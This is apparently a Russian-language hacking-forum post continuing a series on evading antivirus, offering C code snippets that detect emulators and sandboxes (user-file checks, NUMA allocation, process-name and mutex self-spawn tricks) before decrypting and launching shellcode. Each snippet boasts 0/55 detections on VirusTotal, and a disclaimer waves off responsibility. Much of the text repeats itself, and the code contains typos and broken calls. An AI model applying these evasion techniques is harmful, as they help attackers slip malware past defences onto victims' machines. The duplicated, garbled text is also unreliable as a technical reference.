Работающий пенсионер
-
Автор темы
- #1
В этой статье мы продолжим рассматривать методы обхода антивирусов.
ВНИМАНИЕ: Автор не призывает к нарушению УК РФ, а предоставляет информацию для общего развития. Автор не несёт ответственности за ваши действия.
Метод «Знай своего врага»
Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).
Пример 1: Действия, которые зависят от локального пользователя
Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
Метод «Проверяем окружение»
Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.
Пример 1: Как меня зовут?
Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать
Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.
ВНИМАНИЕ: Автор не призывает к нарушению УК РФ, а предоставляет информацию для общего развития. Автор не несёт ответственности за ваши действия.
Метод «Знай своего врага»
Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).
Пример 1: Действия, которые зависят от локального пользователя
Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
Код:
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"
int main( void )
{
HANDLE file;
DWORD tmp;
LPCVOID buff = "1234";
chat outputbuff[5] = {0};
file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if( WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)
{
CloseHandle(file);
file = CreateFile(FILE_PATH,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(ReadFile(file, outputbuff, 4, &tmp, NULL))
{
if(strncmp(buff, outputbuff, 4) == 0)
{
decryptCodeSection();
startShellCode();
}
}
CloseHandle(file);
}
DeleteFile(FILE_PATH);
return 0;
}
VirusTotal счёт:
0/55
Метод «WTF is that?»
Функций Windows API так много, что системы эмуляции не охватывают их всех.
Пример 1: Что за чёртов NUMA?
NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить
Этот код будет работать на ПК, но не будет работать в эмуляции.
0/55
Метод «WTF is that?»
Функций Windows API так много, что системы эмуляции не охватывают их всех.
Пример 1: Что за чёртов NUMA?
NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить
Пожалуйста, авторизуйтесь для просмотра ссылки.
.Этот код будет работать на ПК, но не будет работать в эмуляции.
Код:
int main( void )
{
LPVOID mem = NULL;
mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_REVERSE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if( mem != NULL )
{
decryptCodeSection();
startShellCode();
}
return 0;
}
VirusTotal счёт:
0/55Метод «Проверяем окружение»
Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.
Пример 1: Как меня зовут?
Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать
Пожалуйста, авторизуйтесь для просмотра ссылки.
.Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.
Код:
int main( int argc, char * argv[] )
{
if( strstr( argv[0], "test.exe" > 0 ) )
{
decryptShellCode();
startShellCode();
}
return 0;
}
VirusTotal счёт:
0/55
Метод «Я вызываю себя!»
Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.
Пример 2: Сначала откроем мьютекс
В коде этого примера (test.exe), запускать фазу расшифровки мы будем только если определённый мьютекс объект всё ещё существует в системе. Трюк в том, что если объект не существует, то этот код будет создавать и вызывать новый инстанцию себя. Дочерний процесс попытается создать мьютекс до того, как родительский процесс умрёт и впадает в ERROR_ALREADY_EXIST.
Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.
Пример 2: Сначала откроем мьютекс
В коде этого примера (test.exe), запускать фазу расшифровки мы будем только если определённый мьютекс объект всё ещё существует в системе. Трюк в том, что если объект не существует, то этот код будет создавать и вызывать новый инстанцию себя. Дочерний процесс попытается создать мьютекс до того, как родительский процесс умрёт и впадает в ERROR_ALREADY_EXIST.
Код:
int main( void )
{
HANDLE mutex;
mutex = CreateMutex( NULL, TRUE, "muuuu" );
if( GetLastError() == ERROR_ALREADY_EXIST )
{
decryptCodeSection();
startShellCode();
}
else
{
startExe("test.exe");
Sleep(100);
}
return 0;
}
VirusTotal счёт:
0/55